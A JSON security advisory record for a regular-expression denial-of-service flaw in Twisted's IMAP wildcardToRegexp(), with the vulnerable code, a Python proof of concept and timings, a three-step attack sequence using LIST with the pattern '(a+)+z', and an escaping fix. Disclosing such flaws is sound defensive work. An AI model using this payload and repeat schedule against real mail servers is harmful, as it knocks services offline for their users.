{"id":"CVE-2026-106454","aliases":["GHSA-8pqf-f4m5-798g","PYSEC-2026-4304"],"url":"https://o3.security/vulnerability/CVE-2026-106454","summary":"Twisted: IMAP wildcardToRegexp() ReDoS","details":"### Summary\n`wildcardToRegexp()` in `twisted/mail/imap4.py` converts IMAP LIST/LSUB wildcard patterns to Python regular expressions.  It substitutes the two IMAP wildcards (`*` → `(?:.*?)` and `%` → `(?:(?:[^\\\\/])*?)`) but passes every other character through unchanged to `re.compile()`.  This means that an authenticated IMAP client can send a quoted pattern string containing arbitrary regex syntax - including catastrophic-backtracking constructs such as `(a+)+z`.\n\nBecause Twisted runs a cooperative, single-threaded reactor, a blocking regex match freezes **all** I/O on the server for the duration of the match.\n\n---\n\n## Vulnerable Code\n\n### `twisted/mail/imap4.py`\n\n```python\n# line 4595\ndef wildcardToRegexp(wildcard, delim=None):\n    wildcard = wildcard.replace(\"*\", \"(?:.*?)\")\n    if delim is None:\n        wildcard = wildcard.replace(\"%\", \"(?:.*?)\")\n    else:\n        wildcard = wildcard.replace(\"%\", \"(?:(?:[^%s])*?)\" % re.escape(delim))\n    return re.compile(wildcard, re.I)   # ← user input compiled verbatim\n```\n\n```python\n# line 4993\nclass MemoryAccountWithoutNamespaces:\n    def listMailboxes(self, ref, wildcard):\n        ref = self._inferiorNames(_parseMbox(ref.upper()))\n        wildcard = wildcardToRegexp(wildcard, \"/\")   # ← user-supplied wildcard\n        return [(i, self.mailboxes[i]) for i in ref if wildcard.match(i)]\n```\n---\n\n### Proof of Concept\n\n```python\nfrom twisted.mail.imap4 import wildcardToRegexp\nimport time\n\nrx = wildcardToRegexp(\"(a+)+z\", \"/\")\nfor n in [20, 22, 24, 26, 28]:\n    victim = \"a\" * n\n    t0 = time.perf_counter()\n    rx.match(victim)\n    print(f\"n={n}: {time.perf_counter() - t0:.3f}s\")\n```\n\n**Output on Twisted 25.5.0:**\n\n```\n[*] Compiled regex: '(a+)+z'\n[*] Note: metacharacters ( ) + ? are NOT escaped - they go straight to re.compile()\n\n    n        time\n  ---  ----------\n   20       0.153s\n   22       0.651s\n   24       2.941s\n   26      14.545s\n   28      55.019s\n```\n\nTiming doubles roughly every two characters (exponential growth), confirming catastrophic backtracking.\n\n---\n\n## Impact\n\nTwisted's reactor is single-threaded and cooperative.  A blocking `re.match()` call suspends the entire event loop - no other connection can be accepted, read, or written while the match runs.  A single authenticated LIST command with a 28-character target mailbox name can stall the server for ~55 seconds.\n\nAn attacker who can register an account (or obtain credentials through other means) can:\n\n1. `CREATE` a mailbox whose name is an exponential-blowup trigger string.\n2. Issue `LIST \"\" \"(a+)+z\"` (or equivalent ReDoS pattern).\n3. Repeat at ~1-minute intervals to keep the server permanently unavailable.\n\nNo exploit code or special privileges beyond an IMAP login are required.\n\n---\n\n## Fix\n\nEscape non-wildcard characters before compiling:\n\n```python\ndef wildcardToRegexp(wildcard, delim=None):\n    # Split on the two IMAP wildcards, escape everything else\n    parts = re.split(r'([*%])', wildcard)\n    result = []\n    for p in parts:\n        if p == '*':\n            result.append('(?:.*?)')\n        elif p == '%':\n            if delim is None:\n                result.append('(?:.*?)')\n            else:\n                result.append('(?:(?:[^%s])*?)' % re.escape(delim))\n        else:\n            result.append(re.escape(p))   # ← escape all other characters\n    return re.compile(''.join(result), re.I)\n```\n\nAlternatively, apply `re.escape()` to the entire wildcard first, then substitute the (now-escaped) `\\*` and `\\%` tokens back with their regex equivalents.","published":"2026-10-06T19:55:36.523Z","modified":"2026-10-21T02:54:35.137001145Z","cvss":{"score":4.3,"severity":"MEDIUM","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L"},"epss":null,"cisaKev":null,"exploitsKnown":null,"affectedPackages":[{"ecosystem":"PyPI","name":"twisted","fixedVersion":null}],"fix":{"url":"https://github.com/twisted/twisted/commit/2f8a3c29246f4eb324690e06a9767a11dc4aec9f","label":"twisted/twisted@2f8a3c2"},"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/106xxx/CVE-2026-106454.json"},{"type":"ADVISORY","url":"https://github.com/twisted/twisted/security/advisories/GHSA-8pqf-f4m5-798g"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-106454"},{"type":"FIX","url":"https://github.com/twisted/twisted/commit/2f8a3c29246f4eb324690e06a9767a11dc4aec9f"},{"type":"FIX","url":"https://github.com/twisted/twisted/pull/12788"},{"type":"PACKAGE","url":"https://github.com/twisted/twisted"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-10-21T02:54:35.137001145Z"}}